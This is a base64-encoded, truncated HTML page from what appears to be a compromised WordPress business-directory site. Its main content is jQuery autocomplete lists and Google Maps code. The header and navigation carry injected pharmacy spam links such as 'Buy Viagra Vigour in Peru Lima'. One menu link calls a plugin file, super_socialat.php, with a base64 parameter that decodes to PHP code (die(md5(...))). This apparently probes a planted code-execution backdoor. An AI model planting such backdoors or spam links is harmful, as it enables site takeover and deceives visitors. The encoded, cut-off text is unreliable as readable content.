OC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTE1MHgxNTAuanBnIiBzaXplcz0iMzJ4MzIiIC8+CjxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxOC8wMi8yNjgwNTQwMF85MDgxMTI2MDI2NzcxMTdfNjgzMzIxMTAwMjAwNzkzMjUzNV9uLTMwMHgzMDAuanBnIiBzaXplcz0iMTkyeDE5MiIgLz4KPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uLXByZWNvbXBvc2VkIiBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIC8+CjxtZXRhIG5hbWU9Im1zYXBwbGljYXRpb24tVGlsZUltYWdlIiBjb250ZW50PSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDE4LzAyLzI2ODA1NDAwXzkwODExMjYwMjY3NzExN182ODMzMjExMDAyMDA3OTMyNTM1X24tMzAweDMwMC5qcGciIC8+CgoJCTxzY3JpcHQ+CgkJICAnYXJ0aWNsZSBhc2lkZSBmb290ZXIgaGVhZGVyIG5hdiBzZWN0aW9uIHRpbWUnLnJlcGxhY2UoL1x3Ky9nLGZ1bmN0aW9uKG4peyBkb2N1bWVudC5jcmVhdGVFbGVtZW50KG4pIH0pCgkJPC9zY3JpcHQ+CgoJCTxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgkJCXZhciBjYXRlZ29yaWVzID0gWyB7IHZhbHVlOiAiMTE1IiAsIGxhYmVsOiAiU29jaWFsIE1lZGlhcnMiIH0seyB2YWx1ZTogIjExNyIgLCBsYWJlbDogIlNvY2lhbCBNZWRpYXJzIEZvciBDaGFyaXR5IiB9LHsgdmFsdWU6ICIxMTYiICwgbGFiZWw6ICJTb2NpYWwgTWVkaWFycyBXYW50ZWQiIH0gXTsKCgkJCXZhciBsb2NhdGlvbnMgPSBbIHsgdmFsdWU6ICIxMTMiICwgbGFiZWw6ICJDYWxpZm9ybmlhIiB9LHsgdmFsdWU6ICI3OCIgLCBsYWJlbDogIi0mbmJzcDtMb3MgQW5nZWxlcyIgfSx7IHZhbHVlOiAiMTA5IiAsIGxhYmVsOiAiQ29sb3JhZG8iIH0seyB2YWx1ZTogIjk3IiAsIGxhYmVsOiAiLSZuYnNwO0RlbnZlciIgfSx7IHZhbHVlOiAiMTAzIiAsIGxhYmVsOiAiQ29ubmVjdGljdXQiIH0seyB2YWx1ZTogIjEwNCIgLCBsYWJlbDogIi0mbmJzcDtIYXJ0Zm9yZCIgfSx7IHZhbHVlOiAiMTA2IiAsIGxhYmVsOiAiSWxsaW5vaXMiIH0seyB2YWx1ZTogIjc5IiAsIGxhYmVsOiAiLSZuYnNwO0NoaWNhZ28iIH0seyB2YWx1ZTogIjEwNSIgLCBsYWJlbDogIk1hc3NhY2h1c2V0dHMiIH0seyB2YWx1ZTogIjEwMCIgLCBsYWJlbDogIi0mbmJzcDtCb3N0b24iIH0seyB2YWx1ZTogIjExMCIgLCBsYWJlbDogIk1pY2hpZ2FuIiB9LHsgdmFsdWU6ICI5NCIgLCBsYWJlbDogIi0mbmJzcDtEZXRyb2l0IiB9LHsgdmFsdWU6ICIxMTIiICwgbGFiZWw6ICJOZXZhZGEiIH0seyB2YWx1ZTogIjEwMiIgLCBsYWJlbDogIi0mbmJzcDtMYXMgVmVnYXMiIH0seyB2YWx1ZTogIjEwNyIgLCBsYWJlbDogIk5ldyBZb3JrIiB9LHsgdmFsdWU6ICI0NiIgLCBsYWJlbDogIi0mbmJzcDtOZXcgWW9yayBDaXR5IiB9LHsgdmFsdWU6ICIxMTgiICwgbGFiZWw6ICJOZXcgWW9yayBDaXR5IiB9LHsgdmFsdWU6ICIxMDgiICwgbGFiZWw6ICJUZXhhcyIgfSx7IHZhbHVlOiAiODUiICwgbGFiZWw6ICItJm5ic3A7RGFsbGFzIiB9LHsgdmFsdWU6ICIxMTEiICwgbGFiZWw6ICJXYXNoaW5ndG9uIiB9LHsgdmFsdWU6ICI5NiIgLCBsYWJlbDogIi0mbmJzcDtTZWF0dGxlIiB9IF07CgoJCQl2YXIgY2F0SW5wdXQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeSIgKSwKCQkJCWNhdElucHV0SUQgPSAkKCAiI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeS1pZCIgKSwKCQkJCWxvY0lucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24iICksCgkJCQlsb2NJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24taWQiICk7CgoJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBjYXRlZ29yaWVzLAoJCQkJZm9jdXM6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfSwKCQkJCXNlbGVjdDogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJY2F0SW5wdXQudmFsKCB2YWwgKTsKCQkJCQljYXRJbnB1dElELnZhbCggdWkuaXRlbS52YWx1ZSApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0KCQkJfSkuZGF0YSggInVpLWF1dG9jb21wbGV0ZSIgKS5fcmVuZGVySXRlbSA9IGZ1bmN0aW9uKCB1bCwgaXRlbSApIHsKCQkJCXJldHVybiAkKCAiPGxpPiIgKQoJCQkJCS5kYXRhKCAiaXRlbS5hdXRvY29tcGxldGUiLCBpdGVtICkKCQkJCQkuYXBwZW5kKCAiPGE+IiArIGl0ZW0ubGFiZWwgKyAiPC9hPiIgKQoJCQkJCS5hcHBlbmRUbyggdWwgKTsKCQkJfTsKCQkJdmFyIGNhdExpc3QgPSBjYXRJbnB1dC5hdXRvY29tcGxldGUoICJ3aWRnZXQiICk7CgkJCWNhdExpc3QubmljZVNjcm9sbCh7IGF1dG9oaWRlbW9kZTogZmFsc2UgfSk7CgoJCQljYXRJbnB1dC5jbGljayhmdW5jdGlvbigpewoJCQkJY2F0SW5wdXQudmFsKCcnKTsKCQkJCWNhdElucHV0SUQudmFsKCcwJyk7CgkJCQljYXRJbnB1dC5hdXRvY29tcGxldGUoICJzZWFyY2giLCAiIiApOwoJCQl9KTsKCgkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSh7CgkJCQltaW5MZW5ndGg6IDAsCgkJCQlzb3VyY2U6IGxvY2F0aW9ucywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWxvY0lucHV0LnZhbCggdmFsICk7CgkJCQkJbG9jSW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBsb2NMaXN0ID0gbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQlsb2NMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJbG9jSW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWxvY0lucHV0LnZhbCgnJyk7CgkJCQlsb2NJbnB1dElELnZhbCgnMCcpOwoJCQkJbG9jSW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoKCgkJfSk7CgkJPC9zY3JpcHQ+CgoJPC9oZWFkPgoKCTxib2R5IGNsYXNzPSJwYWdlLWlkLTczMTcxMiI+CgoJCTxkaXYgaWQ9InBhZ2UiIGNsYXNzPSJoZmVlZCAiID4KCgoKCjxkaXYgY2xhc3M9InRvcGJhciBjbGVhcmZpeCI+CgkJPGRpdiBpZD0idGFnTGluZUhvbGRlciI+CgkJCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCQkJPHAgY2xhc3M9ImxlZnQgaW5mbyI+U29jaWFsIE1lZGlhIElzIE91ciBLdW5nIEZ1IEFuZCBJdCBJcyBTdHJvbmchPC9wPgoKCQkJCQoJCQk8L2Rpdj4KCQk8L2Rpdj4KPC9kaXY+Cgo8aGVhZGVyIGlkPSJicmFuZGluZyIgcm9sZT0iYmFubmVyIj4KCTxkaXYgY2xhc3M9ImRlZmF1bHRDb250ZW50V2lkdGggY2xlYXJmaXgiPgoJCTxkaXYgaWQ9ImxvZ28iIGNsYXNzPSJsZWZ0Ij4KCQkJCTxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vbG9jL2NvbG9yYWRvLyI+U2hvcCBWaWFncmEgU29mdCBpbiBNYWxkaXZlcyBNYWzpPC9hPgoJCTwvZGl2PgoKCQk8bmF2IGlkPSJhY2Nlc3MiIHJvbGU9Im5hdmlnYXRpb24iPgoKCQkJCQo8bmF2IGNsYXNzPSJtYWlubWVudSI+PHVsIGlkPSJtZW51LW1haW4tbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMTEiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMTEiPjxhIGhyZWY9Imh0dHA6Ly9zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3BsdWdpbnMvc3VwZXItc29jaWFsYXQvc3VwZXJfc29jaWFsYXQucGhwP2QxPVpHbGxLRzFrTlNnek5EVXpOQ2twT3c9PSI+QnV5IFZpYWdyYSBWaWdvdXIgaW4gUGVydSBMaW1hPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9yZWdpc3Rlci1mb3JtLyI+S2FtYWdyYSBlZmZlY3RzIC0gQXBwcm92ZWQgSW50ZXJuZXQgRHJ1Z3N0b3JlPC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyMzQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODIzNCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9sb2MvbWFzc2FjaHVzZXR0cy8iPlB1cmNoYXNlIEZlbWFsZSBDaWFsaXMgaW4gV2VzdGVybiBTYWhhcmEgRWwgQWFp+m48L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIxMiIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjEyIj48YSBocmVmPSJodHRwOi8vc29jaWFsbWVkaWFycy5jb20vP2F1dGhvcj00Ij5TaG9wIFZpYWdyYSBQbHVzIGluIEJlbGl6ZSBCZWxtb3BhbjwvYT48L2xpPgo8L3VsPjwvbmF2PgoJCTwvbmF2PgoKCTwvZGl2Pgo8L2hlYWRlcj4KCQkJPGRpdiBpZD0iZGlyZWN0b3J5LW1haW4tYmFyIiBkYXRhLWNhdGVnb3J5PSIwIiBkYXRhLWxvY2F0aW9uPSIwIiBkYXRhLXNlYXJjaD0iIiBkYXRhLWdlb2xvY2F0aW9uPSJmYWxzZSI+CgkJCTwvZGl2PgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgp2YXIgbWFwRGl2LAoJbWFwLAoJaW5mb2JveDsKalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJbWFwRGl2ID0gJCgiI2RpcmVjdG9yeS1tYWluLWJhciIpOwoJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJbWFwRGl2LmhlaWdodCg1MDApLmdtYXAzKHsKCQltYXA6IHsKCQkJb3B0aW9uczogewoJCQkJImRyYWdnYWJsZSI6IHRydWUKCQkJCSwibWFwVHlwZUNvbnRyb2wiOiB0cnVlCgkJCQksIm1hcFR5cGVJZCI6IGdvb2dsZS5tYXBzLk1hcFR5cGVJZC5ST0FETUFQCgkJCQksInNjcm9sbHdoZWVsIjogZmFsc2UKCQkJCSwicGFuQ29udHJvbCI6IHRydWUKCQkJCSwicm90YXRlQ29udHJvbCI6IGZhbHNlCgkJCQksInNjYWxlQ29udHJvbCI6IHRydWUKCQkJCSwic3RyZWV0Vmlld0NvbnRyb2wiOiB0cnVlCgkJCQksInpvb21Db250cm9sIjogdHJ1ZQoJCQkJLGNlbnRlcjogWzQwLjY5NzQzNjc4MTk5NDY4LC03NC4xMjg4MDU5OTQ5ODc0OV0KCQkJCSx6b29tOiAxMAoJCQl9CgkJCSxldmVudHM6ewoJCQkJem9vbV9jaGFuZ2VkOiBmdW5jdGlvbihtYXApewoJCQkJCWNsdXN0ZXJlciA9IG1hcERpdi5nbWFwMyh7IGdldDogeyBuYW1lOiAiY2x1c3RlcmVyIiB9fSk7CgkJCQkJaWYgKG1hcC5nZXRab29tKCkgPj0gMTkpIHsKCQkJCQkJaWYgKGNsdXN0ZXJFbmFibGVkKSB7CgkJCQkJCQljbHVzdGVyZXIuZGlzYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSBmYWxzZTsKCQkJCQkJfQoJCQkJCX0gZWxzZSB7CgkJCQkJCWlmICghY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5lbmFibGUoKTsKCQkJCQkJCWNsdXN0ZXJFbmFibGVkID0gdHJ1ZTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCQksbWFya2VyOiB7CgkJCXZhbHVlczogWwoJCQkJCXsKCQkJCQkJbGF0TG5nOiBbNDAuNjk3NDM2NzgxOTk0NjgsLTc0LjEyODgwNTk5NDk4NzQ5XSwKCQkJCQkJb3B0aW9uczogewoJCQkJCQkJaWNvbjogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTYvMTIvZy1lMTQ4MzExODM2ODQyOC5qcGciLAoJCQkJCQkJc2hhZG93OiAiaHR0cDovL2RlbW8xMDAuZ29sZHdlYi5iaXovd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vaWNvbi1zaGFkb3cucG5nIiwKCQkJCQkJfSwKCQkJCQkJZGF0YTogCSc8ZGl2IGNsYXNzPSJtYXJrZXItaG9sZGVyIj4nKwoJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFya2VyLWNvbnRlbnQgd2l0aC1pbWFnZSI+PGltZyBzcmM9Imh0dHA6Ly9kZW1vMTAwLmdvbGR3ZWIuYml6L3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL2RlZmF1bHQtcG9zdC1pbWFnZS5qcGciIGFsdD0iIj4nKwoJCQkJCQkJCQkJJzxkaXYgY2xhc3M9Im1hcC1pdGVtLWluZm8iPicrCgkJCQkJCQkJCQkJJzxkaXYgY2xhc3M9InRpdGxlIj4nKyJnIG1vbmV5IisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0iYWRkcmVzcyI+JysibmV3IFlvcmsgY2l0eSIrJzwvZGl2PicrCgkJCQkJCQkJCQkJJzxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vZmVlZC8iPlB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gSmVyc2V5IFN0LiBIZWxpZXI8L2E+JysKCQkJCQkJCQkJCQknPC9kaXY+PGRpdiBjbGFzcz0iYXJyb3ciPjwvZGl2PicrCgkJCQkJCQkJCQknPC9kaXY+JysKCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJJzwvZGl2PicKCQkJCQl9CgkJCV0sCgkJCW9wdGlvbnM6ewoJCQkJZHJhZ2dhYmxlOiBmYWxzZQoJCQl9LAoJCQljbHVzdGVyOnsKCQkJCXJhZGl1czogMjAsCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMCBtYXJrZXJzCgkJCQkwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0xJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCS8vIFRoaXMgc3R5bGUgd2lsbCBiZSB1c2VkIGZvciBjbHVzdGVycyB3aXRoIG1vcmUgdGhhbiAyMCBtYXJrZXJzCgkJCQkyMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMic+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gNTAgbWFya2VycwoJCQkJNTA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTMnPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJZXZlbnRzOiB7CgkJCQkJY2xpY2s6IGZ1bmN0aW9uKGNsdXN0ZXIpIHsKCQkJCQkJbWFwLnBhblRvKGNsdXN0ZXIubWFpbi5nZXRQb3NpdGlvbigpKTsKCQkJCQkJbWFwLnNldFpvb20obWFwLmdldFpvb20oKSArIDIpOwoJCQkJCX0KCQkJCX0KCQkJfSwKCQkJZXZlbnRzOiB7CgkJCQljbGljazogZnVuY3Rpb24obWFya2VyLCBldmVudCwgY29udGV4dCl7CgkJCQkJdmFyIG1hcCA9IGpRdWVyeSh0aGlzKS5nbWFwMygiZ2V0Iik7CgkJCQkJalF1ZXJ5KCIjZGlyZWN0b3J5LW1haW4tYmFyIikuZmluZCgnLmluZm9Cb3gnKS5yZW1vdmUoKTsKCQkJCQlpZihjb250ZXh0LmRhdGEgIT0gImRpc2FibGVkIil7CgoJCQkJCQl2YXIgaW5mb0JveE9wdGlvbnMgPSB7CgkJCQkJCQljb250ZW50OiBjb250ZXh0LmRhdGEsCgkJCQkJCQlkaXNhYmxlQXV0b1BhbjogZmFsc2UsCgkJCQkJCQltYXhXaWR0aDogMTUwLAoJCQkJCQkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQkJCQkJCWJveFN0eWxlOiB7CgkJCQkJCQkJd2lkdGg6ICIyOTBweCIKCQkJCQkJCX0sCgkJCQkJCQljbG9zZUJveE1hcmdpbjogIjRweCIsCgkJCQkJCQljbG9zZUJveFVSTDogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJCQkJCQkvLyBlbmFibGVFdmVudFByb3BhZ2F0aW9uOiB0cnVlLAoJCQkJCQkJaW5mb0JveENsZWFyYW5jZTogbmV3IGdvb2dsZS5tYXBzLlNpemUoMSwgMSksCgkJCQkJCQlwb3NpdGlvbjogbWFya2VyLnBvc2l0aW9uCgkJCQkJCX07CgkJCQkJCWluZm9ib3ggPSBuZXcgSW5mb0JveChpbmZvQm94T3B0aW9ucyk7CgoJCQkJCQlpbmZvYm94Lm9wZW4obWFwLG1hcmtlcik7CgkJCQkJfQoJCQkJCW1hcC5wYW5UbyhtYXJrZXIuZ2V0UG9zaXRpb24oKSk7CgoJCQkJCS8vIGlmIG1hcCBpcyBzbWFsbAoJCQkJCXZhciBpV2lkdGggPSAyNjA7CgkJCQkJdmFyIGlIZWlnaHQgPSAzMDA7CgkJCQkJaWYoKG1hcERpdi53aWR0aCgpIC8gMikgPCBpV2lkdGggKXsKCQkJCQkJdmFyIG9mZnNldFggPSBpV2lkdGggLSAobWFwRGl2LndpZHRoKCkgLyAyKTsKCQkJCQkJbWFwLnBhbkJ5KG9mZnNldFgsMCk7CgkJCQkJfQoJCQkJCWlmKChtYXBEaXYuaGVpZ2h0KCkgLyAyKSA8IGlIZWlnaHQgKXsKCQkJCQkJdmFyIG9mZnNldFkgPSAtKGlIZWlnaHQgLSAobWFwRGl2LmhlaWdodCgpIC8gMikpOwoJCQkJCQltYXAucGFuQnkoMCxvZmZzZXRZKTsKCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJIAl9KTsKCgltYXAgPSBtYXBEaXYuZ21hcDMoImdldCIpOwoJaW5mb2JveCA9IG5ldyBJbmZvQm94KHsKCQlwaXhlbE9mZnNldDogbmV3IGdvb2dsZS5tYXBzLlNpemUoLTUwLCAtNjUpLAoJCWNsb3NlQm94VVJMOiAiaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9wb3BfdXAtY2xvc2UucG5nIiwKCQlib3hTdHlsZTogewoJCQl3aWR0aDogIjI5MHB4IgoJCX0sCgkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCWVuYWJsZUV2ZW50UHJvcGFnYXRpb246IGZhbHNlCgl9KTsKCglpZiAoTW9kZXJuaXpyLnRvdWNoKXsKCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCXZhciBkcmFnZ2FibGVDbGFzcyA9ICdpbmFjdGl2ZSc7CgkJdmFyIGRyYWdnYWJsZVRpdGxlID0gIkFjdGl2YXRlIG1hcCI7CgkJdmFyIGRyYWdnYWJsZUJ1dHRvbiA9ICQoJzxkaXYgY2xhc3M9ImRyYWdnYWJsZS10b2dnbGUtYnV0dG9uICcrZHJhZ2dhYmxlQ2xhc3MrJyI+JytkcmFnZ2FibGVUaXRsZSsnPC9kaXY+JykuYXBwZW5kVG8obWFwRGl2KTsKCQlkcmFnZ2FibGVCdXR0b24uY2xpY2soZnVuY3Rpb24gKCkgewoJCQlpZigkKHRoaXMpLmhhc0NsYXNzKCdhY3RpdmUnKSl7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdhY3RpdmUnKS5hZGRDbGFzcygnaW5hY3RpdmUnKS50ZXh0KCJBY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogZmFsc2UgfSk7CgkJCX0gZWxzZSB7CgkJCQkkKHRoaXMpLnJlbW92ZUNsYXNzKCdpbmFjdGl2ZScpLmFkZENsYXNzKCdhY3RpdmUnKS50ZXh0KCJEZWFjdGl2YXRlIG1hcCIpOwoJCQkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiB0cnVlIH0pOwoJCQl9CgkJfSk7Cgl9CgovLyBsb2FkaW5nIHNwaW5uZXIKdmFyIG9wdHMgPSB7CglsaW5lczogMTMsIC8vIFRoZSBudW1iZXIgb2YgbGluZXMgdG8gZHJhdwoJbGVuZ3RoOiA5LCAvLyBUaGUgbGVuZ3RoIG9mIGVhY2ggbGluZQoJd2lkdGg6IDksIC8vIFRoZSBsaW5lIHRoaWNrbmVzcwoJcmFkaXVzOiAyNywgLy8gVGhlIHJhZGl1cyBvZiB0aGUgaW5uZXIgY2lyY2xlCgljb3JuZXJzOiAxLCAvLyBDb3JuZXIgcm91bmRuZXNzICgwLi4xKQoJcm90YXRlOiAwLCAvLyBUaGUgcm90YXRpb24gb2Zmc2V0Cgljb2xvcjogJyNGRkYnLCAvLyAjcmdiIG9yICNycmdnYmIKCXNwZWVkOiAxLjgsIC8vIFJvdW5kcyBwZXIgc2Vjb25kCgl0cmFpbDogODEsIC8vIEFmdGVyZ2xvdyBwZXJjZW50YWdlCglzaGFkb3c6IHRydWUsIC8vIFdoZXRoZXIgdG8gcmVuZGVyIGEgc2hhZG93Cglod2FjY2VsOiBmYWxzZSwgLy8gV2hldGhlciB0byB1c2UgaGFyZHdhcmUgYWNjZWxlcmF0aW9uCgljbGFzc05hbWU6ICdzcGlubmVyJywgLy8gVGhlIENTUyBjbGFzcyB0byBhc3NpZ24gdG8gdGhlIHNwaW5uZXIKCXpJbmRleDogMmU5LCAvLyBUaGUgei1pbmRleCAoZGVmYXVsdHMgdG8gMjAwMDAwMDAwMCkKCXRvcDogJ2F1dG8nLCAvLyBUb3AgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4CglsZWZ0OiAnYXV0bycgLy8gTGVmdCBwb3NpdGlvbiByZWxhdGl2ZSB0byBwYXJlbnQgaW4gcHgKfTsKCnZhciB0YXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGlyZWN0b3J5LW1haW4tYmFyJyksCglzcGlubmVyID0gbmV3IFNwaW5uZXIob3B0cykuc3Bpbih0YXJnZXQpLAoJc3Bpbm5lckRpdiA9IG1hcERpdi5maW5kKCcuc3Bpbm5lcicpOwoKdmFyIHNlYXJjaCA9ICQoJyNkaXJlY3Rvcnktc2VhcmNoJyksCglzZWFyY2hJbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtdGV4dCcpLAoJc2VhcmNoU3VibWl0ID0gJCgnI2Rpci1zZWFyY2hzdWJtaXQnKSwKCWNhdGVnb3J5SW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWNhdGVnb3J5JyksCglsb2NhdGlvbklucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1sb2NhdGlvbicpLAoJZ2VvSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlbycpLAoJZ2VvSW5wdXRSYWRpdXMgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1yYWRpdXMnKSwKCWdlb0lucHV0TGF0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tbGF0JyksCglnZW9JbnB1dExuZyA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxuZycpOwoKZnVuY3Rpb24gc2hvd0xvYWRpbmcoZGlzYWJsZVN1Ym1pdCkgewoJdmFyIHRvcFBvc2l0aW9uID0gbWFw